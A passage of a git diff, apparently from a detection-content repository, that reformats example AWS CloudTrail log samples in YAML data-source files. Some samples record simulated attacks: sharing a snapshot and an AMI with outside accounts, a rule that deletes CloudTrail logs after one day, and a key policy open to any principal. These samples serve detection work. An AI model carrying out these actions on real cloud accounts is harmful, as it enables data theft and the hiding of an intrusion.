"arn:aws:iam::111111111111:role/rds-monitoring-role", "dBInstanceArn": "arn:aws:rds:us-west-2:111111111111:db:database-1", "iAMDatabaseAuthenticationEnabled": false, "performanceInsightsEnabled": true, "performanceInsightsKMSKeyId": "arn:aws:kms:us-west-2:111111111111:key/318bcd5d-c453-489d-b63a-07753eab0623", "performanceInsightsRetentionPeriod": 7, "deletionProtection": true, "associatedRoles": [], "httpEndpointEnabled": false, "tagList": [], "customerOwnedIpEnabled": false, "networkType": "IPV4", "backupTarget": "region"}, "requestID": "59e6b621-2f12-415b-bde4-21fa2dc7c113", "eventID": "46351ca1-760e-4eef-b3ff-19723e13fbf8", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "sessionCredentialFromConsole": "true"} diff --git a/data_sources/aws_cloudtrail_modifyimageattribute.yml b/data_sources/aws_cloudtrail_modifyimageattribute.yml index b6f940cc5a..4288aa4f90 100644 --- a/data_sources/aws_cloudtrail_modifyimageattribute.yml +++ b/data_sources/aws_cloudtrail_modifyimageattribute.yml @@ -102,4 +102,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLDF6WP4HD6:bonobo@bo.com", "arn": "arn:aws:sts::111111111111:assumed-role/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f/bonobo@bo.com", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLBHIEEEPN", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLDF6WP4HD6", "arn": "arn:aws:iam::111111111111:role/aws-reserved/sso.amazonaws.com/us-west-2/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f", "accountId": "111111111111", "userName": "AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f"}, "webIdFederationData": {}, "attributes": {"creationDate": "2023-03-23T19:27:44Z", "mfaAuthenticated": "false"}}}, "eventTime": "2023-03-23T21:47:28Z", "eventSource": "ec2.amazonaws.com", "eventName": "ModifyImageAttribute", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.245.10", "userAgent": "AWS Internal", "requestParameters": {"imageId": "ami-06dac31db29508566", "launchPermission": {"add": {"items": [{"userId": "1111111111111111"}]}}, "attributeType": "launchPermission"}, "responseElements": {"requestId": "84c431ce-6268-4218-aaf8-b4cdc1cd4055", "_return": true}, "requestID": "84c431ce-6268-4218-aaf8-b4cdc1cd4055", "eventID": "957e1b12-ea17-4006-aefd-20677ace72b8", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "sessionCredentialFromConsole": "true"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLDF6WP4HD6:bonobo@bo.com", "arn": "arn:aws:sts::111111111111:assumed-role/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f/bonobo@bo.com", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLBHIEEEPN", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLDF6WP4HD6", "arn": "arn:aws:iam::111111111111:role/aws-reserved/sso.amazonaws.com/us-west-2/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f", "accountId": "111111111111", "userName": "AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f"}, "webIdFederationData": {}, "attributes": {"creationDate": "2023-03-23T19:27:44Z", "mfaAuthenticated": "false"}}}, "eventTime": "2023-03-23T21:47:28Z", "eventSource": "ec2.amazonaws.com", "eventName": "ModifyImageAttribute", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.245.10", "userAgent": "AWS Internal", "requestParameters": {"imageId": "ami-06dac31db29508566", "launchPermission": {"add": {"items": [{"userId": "140429656527"}]}}, "attributeType": "launchPermission"}, "responseElements": {"requestId": "84c431ce-6268-4218-aaf8-b4cdc1cd4055", "_return": true}, "requestID": "84c431ce-6268-4218-aaf8-b4cdc1cd4055", "eventID": "957e1b12-ea17-4006-aefd-20677ace72b8", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "sessionCredentialFromConsole": "true"} diff --git a/data_sources/aws_cloudtrail_modifysnapshotattribute.yml b/data_sources/aws_cloudtrail_modifysnapshotattribute.yml index 481f758e6d..00170dd6eb 100644 --- a/data_sources/aws_cloudtrail_modifysnapshotattribute.yml +++ b/data_sources/aws_cloudtrail_modifysnapshotattribute.yml @@ -115,4 +115,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLCNEAQXWZV", "arn": "arn:aws:iam::111111111111:user/bhavin_console", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLF5EAXXXX", "userName": "bhavin_console"}, "eventTime": "2023-03-20T22:31:36Z", "eventSource": "ec2.amazonaws.com", "eventName": "ModifySnapshotAttribute", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.1.1", "userAgent": "stratus-red-team_46665bb8-dc15-4aba-a5ad-a362772b3f0d", "requestParameters": {"snapshotId": "snap-02effb3bb62786b18", "createVolumePermission": {"add": {"items": [{"userId": "012345678912"}]}}, "attributeType": "CREATE_VOLUME_PERMISSION"}, "responseElements": {"requestId": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "_return": true}, "requestID": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "eventID": "62e027d3-7191-48f4-b5fe-4b66c58b3008", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLCNEAQXWZV", "arn": "arn:aws:iam::111111111111:user/bhavin_console", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLF5EAXXXX", "userName": "bhavin_console"}, "eventTime": "2023-03-20T22:31:36Z", "eventSource": "ec2.amazonaws.com", "eventName": "ModifySnapshotAttribute", "awsRegion": "us-west-2", "sourceIPAddress": "72.135.1.1", "userAgent": "stratus-red-team_46665bb8-dc15-4aba-a5ad-a362772b3f0d", "requestParameters": {"snapshotId": "snap-02effb3bb62786b18", "createVolumePermission": {"add": {"items": [{"userId": "012345678912"}]}}, "attributeType": "CREATE_VOLUME_PERMISSION"}, "responseElements": {"requestId": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "_return": true}, "requestID": "f58433e6-a7f4-4e63-9cba-7ecc60ab74b2", "eventID": "62e027d3-7191-48f4-b5fe-4b66c58b3008", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "ec2.us-west-2.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_putbucketlifecycle.yml b/data_sources/aws_cloudtrail_putbucketlifecycle.yml index 7c4a991a4e..20bb2cce75 100644 --- a/data_sources/aws_cloudtrail_putbucketlifecycle.yml +++ b/data_sources/aws_cloudtrail_putbucketlifecycle.yml @@ -126,4 +126,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AIDAYTOGP2RLEHRX5YWNV", "arn": "arn:aws:iam::111111111111:user/bhavin_cli", "accountId": "111111111111", "accessKeyId": "AKIAYTOGP2RLKQ3U2PDY", "userName": "bhavin_cli"}, "eventTime": "2022-07-13T21:58:27Z", "eventSource": "s3.amazonaws.com", "eventName": "PutBucketLifecycle", "awsRegion": "us-west-2", "sourceIPAddress": "192.184.242.57", "userAgent": "[stratus-red-team_d73089cf-1905-430c-b6d3-4dc4d669190f]", "requestParameters": {"lifecycle": "", "bucketName": "my-cloudtrail-bucket-alfsujjpnbpguqrh", "LifecycleConfiguration": {"xmlns": "http://s3.amazonaws.com/doc/2006-03-01/", "Rule": {"Status": "Enabled", "Filter": {"Prefix": "*"}, "Expiration": {"Days": 1}, "ID": "nuke-cloudtrail-logs-after-1-day"}}, "Host": "my-cloudtrail-bucket-alfsujjpnbpguqrh.s3.us-west-2.amazonaws.com"}, "responseElements": null, "additionalEventData": {"SignatureVersion": "SigV4", "CipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "bytesTransferredIn": 249, "AuthenticationMethod": "AuthHeader", "x-amz-id-2": "TVXZE5kOVTMLqYlmKK+j/5g6flwkiFXFfw8PyNivFO4/9YXnDsyzFlGEzAy2rukTTiukLdEwtuM=", "bytesTransferredOut": 0}, "requestID": "1P8X27T2BCMY93Y9", "eventID": "25d92cd1-f366-4b11-b408-967a17ce70f3", "readOnly": false, "resources": [{"accountId": "111111111111", "type": "AWS::S3::Bucket", "ARN": "arn:aws:s3:::my-cloudtrail-bucket-alfsujjpnbpguqrh"}], "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "my-cloudtrail-bucket-alfsujjpnbpguqrh.s3.us-west-2.amazonaws.com"}}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAYTOGP2RLDF6WP4HD6:pbareiss@splunk.com", "arn": "arn:aws:sts::111111111111:assumed-role/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f/pbareiss@splunk.com", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLM5HY7JVK", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAYTOGP2RLDF6WP4HD6", "arn": "arn:aws:iam::111111111111:role/aws-reserved/sso.amazonaws.com/us-west-2/AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f", "accountId": "111111111111", "userName": "AWSReservedSSO_SPLKAdministratorAccess_d9ce1347d0a6dd3f"}, "webIdFederationData": {}, "attributes": {"creationDate": "2022-07-20T10:51:41Z", "mfaAuthenticated": "false"}}}, "eventTime": "2022-07-20T10:52:35Z", "eventSource": "s3.amazonaws.com", "eventName": "PutBucketLifecycle", "awsRegion": "us-east-1", "sourceIPAddress": "95.90.195.57", "userAgent": "[S3Console/0.4, aws-internal/3 aws-sdk-java/1.11.1030 Linux/5.4.196-119.356.amzn2int.x86_64 OpenJDK_64-Bit_Server_VM/25.302-b08 java/1.8.0_302 vendor/Oracle_Corporation cfg/retry-mode/standard]", "requestParameters": {"lifecycle": "", "bucketName": "cb-events-security-content-2", "LifecycleConfiguration": {"xmlns": "http://s3.amazonaws.com/doc/2006-03-01/", "Rule": {"Status": "Enabled", "Filter": "", "Expiration": {"Days": 1}, "ID": "delete_after_1_day"}}, "Host": "s3.amazonaws.com"}, "responseElements": null, "additionalEventData": {"SignatureVersion": "SigV4", "CipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "bytesTransferredIn": 209, "AuthenticationMethod": "AuthHeader", "x-amz-id-2": "RzbZZFJT/j4JjNhsI3LFzrohMJTjrRVRwl54CBzwglaNTlN6R4lPVs47mSu5STi62E1PRjGtPNY=", "bytesTransferredOut": 0}, "requestID": "J6JW719PEACSG3KW", "eventID": "4d407667-6627-49dd-8ed3-c3b008c7a1a5", "readOnly": false, "resources": [{"accountId": "111111111111", "type": "AWS::S3::Bucket", "ARN": "arn:aws:s3:::cb-events-security-content-2"}], "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "vpcEndpointId": "vpce-f40dc59d", "eventCategory": "Management", "tlsDetails": {"tlsVersion": "TLSv1.2", "cipherSuite": "ECDHE-RSA-AES128-GCM-SHA256", "clientProvidedHostHeader": "s3.amazonaws.com"}} diff --git a/data_sources/aws_cloudtrail_putimage.yml b/data_sources/aws_cloudtrail_putimage.yml index 86b0f87090..d4794cfd7b 100644 --- a/data_sources/aws_cloudtrail_putimage.yml +++ b/data_sources/aws_cloudtrail_putimage.yml @@ -105,4 +105,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AAAAAAAAAAAAAAAAAAAAA", "arn": "arn:aws:iam::111111111111:user/test", "accountId": "111111111111", "accessKeyId": "AAAAAAAAAAAAAAAAAAAAA", "userName": "test", "sessionContext": {"sessionIssuer": {}, "webIdFederationData": {}, "attributes": {"creationDate": "2021-08-18T23:15:39Z", "mfaAuthenticated": "false"}}, "invokedBy": "AWS Internal"}, "eventTime": "2021-08-18T23:17:30Z", "eventSource": "ecr.amazonaws.com", "eventName": "PutImage", "awsRegion": "eu-central-1", "sourceIPAddress": "AWS Internal", "userAgent": "AWS Internal", "requestParameters": {"registryId": "111111111112", "repositoryName": "devsecops/cat_dog_server", "imageManifest": "{\n \"schemaVersion\": 2,\n \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n \"config\": {\n \"mediaType\": \"application/vnd.docker.container.image.v1+json\",\n \"size\": 6591,\n \"digest\": \"sha256:547fc07c53533763d68ebdfdc45529b1db45301d07824410bcc30df866d67df1\"\n },\n \"layers\": [\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2811969,\n \"digest\": \"sha256:540db60ca9383eac9e418f78490994d0af424aab7bf6d0e47ac8ed4e2e9bcbba\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 35426616,\n \"digest\": \"sha256:f4fa1ac42c97abe89e0cc807af0ae4b63fbec2a5209a75a7239d099702c7fd80\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2347076,\n \"digest\": \"sha256:2b3e10d0c87c453eed1378e102ff1cc17aa4e3eed2159b7505959777a6225059\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 280,\n \"digest\": \"sha256:43bd2fc3ba418e309449b8c82d723d9069ebb81863050dc0d6ad6e6ec0683808\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 92,\n \"digest\": \"sha256:803d6b58954d4daee18ed071281627f8214f3d2ba1b9a419ab8834029310942a\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 373,\n \"digest\": \"sha256:e664d5491b5c81e901a2293fbc025532a7cae0dcc75ce7418f854209aaa2474c\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2383293,\n \"digest\": \"sha256:b827c586a783ce490b79907607d535f99f42360b6ba86a4b2ac3e7f01542144d\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 10001,\n \"digest\": \"sha256:0dd85ef396bcaded88fab4a8079d6b8bd5e3f8cf7eeb9b93306ffdb63401ba0a\"\n }\n ]\n}", "imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json", "imageTag": "latest"}, "responseElements": {"image": {"registryId": "111111111112", "repositoryName": "devsecops/cat_dog_server", "imageId": {"imageDigest": "sha256:b7798f35949cc1a2d435c9ac59ab69e857fe635a359c96e4f56a8498ce02019c", "imageTag": "latest"}, "imageManifest": "{\n \"schemaVersion\": 2,\n \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n \"config\": {\n \"mediaType\": \"application/vnd.docker.container.image.v1+json\",\n \"size\": 6591,\n \"digest\": \"sha256:547fc07c53533763d68ebdfdc45529b1db45301d07824410bcc30df866d67df1\"\n },\n \"layers\": [\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2811969,\n \"digest\": \"sha256:540db60ca9383eac9e418f78490994d0af424aab7bf6d0e47ac8ed4e2e9bcbba\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 35426616,\n \"digest\": \"sha256:f4fa1ac42c97abe89e0cc807af0ae4b63fbec2a5209a75a7239d099702c7fd80\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2347076,\n \"digest\": \"sha256:2b3e10d0c87c453eed1378e102ff1cc17aa4e3eed2159b7505959777a6225059\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 280,\n \"digest\": \"sha256:43bd2fc3ba418e309449b8c82d723d9069ebb81863050dc0d6ad6e6ec0683808\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 92,\n \"digest\": \"sha256:803d6b58954d4daee18ed071281627f8214f3d2ba1b9a419ab8834029310942a\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 373,\n \"digest\": \"sha256:e664d5491b5c81e901a2293fbc025532a7cae0dcc75ce7418f854209aaa2474c\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2383293,\n \"digest\": \"sha256:b827c586a783ce490b79907607d535f99f42360b6ba86a4b2ac3e7f01542144d\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 10001,\n \"digest\": \"sha256:0dd85ef396bcaded88fab4a8079d6b8bd5e3f8cf7eeb9b93306ffdb63401ba0a\"\n }\n ]\n}", "imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json"}}, "requestID": "805a31e6-0fed-433b-b393-f463c6881334", "eventID": "1aef3588-ae84-4f1f-9276-8ec94ee6a7e9", "readOnly": false, "resources": [{"accountId": "111111111111", "ARN": "arn:aws:ecr:eu-central-1:1111111111111:repository/devsecops/cat_dog_server"}], "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "IAMUser", "principalId": "AAAAAAAAAAAAAAAAAAAAA", "arn": "arn:aws:iam::111111111111:user/test", "accountId": "111111111111", "accessKeyId": "AAAAAAAAAAAAAAAAAAAAA", "userName": "test", "sessionContext": {"sessionIssuer": {}, "webIdFederationData": {}, "attributes": {"creationDate": "2021-08-18T23:15:39Z", "mfaAuthenticated": "false"}}, "invokedBy": "AWS Internal"}, "eventTime": "2021-08-18T23:17:30Z", "eventSource": "ecr.amazonaws.com", "eventName": "PutImage", "awsRegion": "eu-central-1", "sourceIPAddress": "AWS Internal", "userAgent": "AWS Internal", "requestParameters": {"registryId": "111111111112", "repositoryName": "devsecops/cat_dog_server", "imageManifest": "{\n \"schemaVersion\": 2,\n \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n \"config\": {\n \"mediaType\": \"application/vnd.docker.container.image.v1+json\",\n \"size\": 6591,\n \"digest\": \"sha256:547fc07c53533763d68ebdfdc45529b1db45301d07824410bcc30df866d67df1\"\n },\n \"layers\": [\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2811969,\n \"digest\": \"sha256:540db60ca9383eac9e418f78490994d0af424aab7bf6d0e47ac8ed4e2e9bcbba\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 35426616,\n \"digest\": \"sha256:f4fa1ac42c97abe89e0cc807af0ae4b63fbec2a5209a75a7239d099702c7fd80\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2347076,\n \"digest\": \"sha256:2b3e10d0c87c453eed1378e102ff1cc17aa4e3eed2159b7505959777a6225059\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 280,\n \"digest\": \"sha256:43bd2fc3ba418e309449b8c82d723d9069ebb81863050dc0d6ad6e6ec0683808\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 92,\n \"digest\": \"sha256:803d6b58954d4daee18ed071281627f8214f3d2ba1b9a419ab8834029310942a\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 373,\n \"digest\": \"sha256:e664d5491b5c81e901a2293fbc025532a7cae0dcc75ce7418f854209aaa2474c\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2383293,\n \"digest\": \"sha256:b827c586a783ce490b79907607d535f99f42360b6ba86a4b2ac3e7f01542144d\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 10001,\n \"digest\": \"sha256:0dd85ef396bcaded88fab4a8079d6b8bd5e3f8cf7eeb9b93306ffdb63401ba0a\"\n }\n ]\n}", "imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json", "imageTag": "latest"}, "responseElements": {"image": {"registryId": "111111111112", "repositoryName": "devsecops/cat_dog_server", "imageId": {"imageDigest": "sha256:b7798f35949cc1a2d435c9ac59ab69e857fe635a359c96e4f56a8498ce02019c", "imageTag": "latest"}, "imageManifest": "{\n \"schemaVersion\": 2,\n \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n \"config\": {\n \"mediaType\": \"application/vnd.docker.container.image.v1+json\",\n \"size\": 6591,\n \"digest\": \"sha256:547fc07c53533763d68ebdfdc45529b1db45301d07824410bcc30df866d67df1\"\n },\n \"layers\": [\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2811969,\n \"digest\": \"sha256:540db60ca9383eac9e418f78490994d0af424aab7bf6d0e47ac8ed4e2e9bcbba\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 35426616,\n \"digest\": \"sha256:f4fa1ac42c97abe89e0cc807af0ae4b63fbec2a5209a75a7239d099702c7fd80\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2347076,\n \"digest\": \"sha256:2b3e10d0c87c453eed1378e102ff1cc17aa4e3eed2159b7505959777a6225059\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 280,\n \"digest\": \"sha256:43bd2fc3ba418e309449b8c82d723d9069ebb81863050dc0d6ad6e6ec0683808\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 92,\n \"digest\": \"sha256:803d6b58954d4daee18ed071281627f8214f3d2ba1b9a419ab8834029310942a\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 373,\n \"digest\": \"sha256:e664d5491b5c81e901a2293fbc025532a7cae0dcc75ce7418f854209aaa2474c\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 2383293,\n \"digest\": \"sha256:b827c586a783ce490b79907607d535f99f42360b6ba86a4b2ac3e7f01542144d\"\n },\n {\n \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n \"size\": 10001,\n \"digest\": \"sha256:0dd85ef396bcaded88fab4a8079d6b8bd5e3f8cf7eeb9b93306ffdb63401ba0a\"\n }\n ]\n}", "imageManifestMediaType": "application/vnd.docker.distribution.manifest.v2+json"}}, "requestID": "805a31e6-0fed-433b-b393-f463c6881334", "eventID": "1aef3588-ae84-4f1f-9276-8ec94ee6a7e9", "readOnly": false, "resources": [{"accountId": "111111111111", "ARN": "arn:aws:ecr:eu-central-1:1111111111111:repository/devsecops/cat_dog_server"}], "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "111111111111", "eventCategory": "Management"} diff --git a/data_sources/aws_cloudtrail_putkeypolicy.yml b/data_sources/aws_cloudtrail_putkeypolicy.yml index 1b984ab083..1ef95b9b54 100644 --- a/data_sources/aws_cloudtrail_putkeypolicy.yml +++ b/data_sources/aws_cloudtrail_putkeypolicy.yml @@ -146,4 +146,5 @@ output_fields: - vendor_account - vendor_region - vendor_product -example_log: '{"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJIESMXKGCJRCTPR6:pbareiss@splunk.local", "arn": "arn:aws:sts::111111111111:assumed-role/okta_adm_role/pbareiss@splunk.local", "accountId": "111111111111", "accessKeyId": "ASIAYTOGP2RLK74OPBDR", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJIESMXKGCJRCTPR6", "arn": "arn:aws:iam::111111111111:role/okta_adm_role", "accountId": "111111111111", "userName": "okta_adm_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-11T09:03:18Z"}}}, "eventTime": "2021-01-11T11:04:39Z", "eventSource": "kms.amazonaws.com", "eventName": "PutKeyPolicy", "awsRegion": "us-west-2", "sourceIPAddress": "95.90.199.65", "userAgent": "aws-internal/3 aws-sdk-java/1.11.893 Linux/4.9.230-0.1.ac.223.84.332.metal1.x86_64 OpenJDK_64-Bit_Server_VM/25.272-b10 java/1.8.0_272 vendor/Oracle_Corporation", "requestParameters": {"keyId": "f2a82583-a7d3-4c92-8787-fe2baab1cee1", "policyName": "default", "policy": "{\n \"Version\": \"2012-10-17\",\n \"Id\": \"key-consolepolicy-3\",\n \"Statement\": [\n {\n \"Sid\": \"Enable IAM User Permissions\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:root\"\n },\n \"Action\": \"kms:*\",\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow access for Key Administrators\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Create*\",\n \"kms:Describe*\",\n \"kms:Enable*\",\n \"kms:List*\",\n \"kms:Put*\",\n \"kms:Update*\",\n \"kms:Revoke*\",\n \"kms:Disable*\",\n \"kms:Get*\",\n \"kms:Delete*\",\n \"kms:TagResource\",\n \"kms:UntagResource\",\n \"kms:ScheduleKeyDeletion\",\n \"kms:CancelKeyDeletion\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:Encrypt\",\n \"kms:Decrypt\",\n \"kms:ReEncrypt*\",\n \"kms:GenerateDataKey*\",\n \"kms:DescribeKey\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"Allow attachment of persistent resources\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::111111111111:user/patrick_cli\"\n },\n \"Action\": [\n \"kms:CreateGrant\",\n \"kms:ListGrants\",\n \"kms:RevokeGrant\"\n ],\n \"Resource\": \"*\",\n \"Condition\": {\n \"Bool\": {\n \"kms:GrantIsForAWSResource\": \"true\"\n }\n }\n },\n {\n \"Sid\": \"Allow use of the key\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"*\"\n },\n \"Action\": [\n \"kms:Encrypt\"\n ],\n \"Resource\": \"*\"\n }\n ]\n}", "bypassPolicyLockoutSafetyCheck": false}, "responseElements": null, "requestID": "c7836c7a-ca95-47aa-a3fb-a7db0d66fec8", "eventID": "612f17e3-2317-4dd9-8aa3-393bc8a7961b", "readOnly": false, "resources": [{"accountId": "111111111111", "type": "AWS::KMS::Key", "ARN": "arn:aws:kms:us-west-2:111111111111:key/f2a82583-a7d3-4c92-8787-fe2baab1cee1"}], "eventType": "AwsApiCall", "managementEvent": true, "eventCategory": "Management", "recipientAccountId": "111111111111"}' +example_log: | + {"eventVersion": "1.08", "userIdentity": {"type": "AssumedRole", "principalId": "AROAIJN34TPOD7C3TZWUU:botocore-session-1610357084", "arn": "arn:aws:sts::111111111111:assumed-role/okta_ro_role/botocore-session-1610357084", "accountId": "111111111111", "accessKeyId": "ASIAJQSQKHIXNXKJ4VHA", "sessionContext": {"sessionIssuer": {"type": "Role", "principalId": "AROAIJN34TPOD7C3TZWUU", "arn": "arn:aws:iam::111111111111:role/okta_ro_role", "accountId": "111111111111", "userName": "okta_ro_role"}, "webIdFederationData": {}, "attributes": {"mfaAuthenticated": "false", "creationDate": "2021-01-11T09:24:45Z"}}, "invokedBy": "lambda.amazonaws.com"}, "eventTime": "2021-01-11T09:25:00Z", "eventSource": "kms.amazonaws.com", "eventName": "Decrypt", "awsRegion": "us-west-2", "sourceIPAddress": "lambda.amazonaws.com", "userAgent": "lambda.amazonaws.com", "requestParameters": {"encryptionAlgorithm": "SYMMETRIC_DEFAULT", "encryptionContext": {"aws:lambda:FunctionArn": "arn:aws:lambda:us-west-2:111111111111:function:security-content-api-prod"}}, "responseElements": null, "requestID": "ae9e56c6-9e66-4a23-a23f-1d286e60f2e3", "eventID": "d9a25e61-43f0-4880-ad27-a66f32ba9fce", "readOnly": true, "resources": [{"accountId": "111111111111", "type": "AWS::KMS::Key", "ARN": "arn:aws:kms:us-west-2:111111111111:key/a2a157d6-b3fa-4c6d-89a0-5e60c981e79a"}], "eventType": "AwsApiCall", 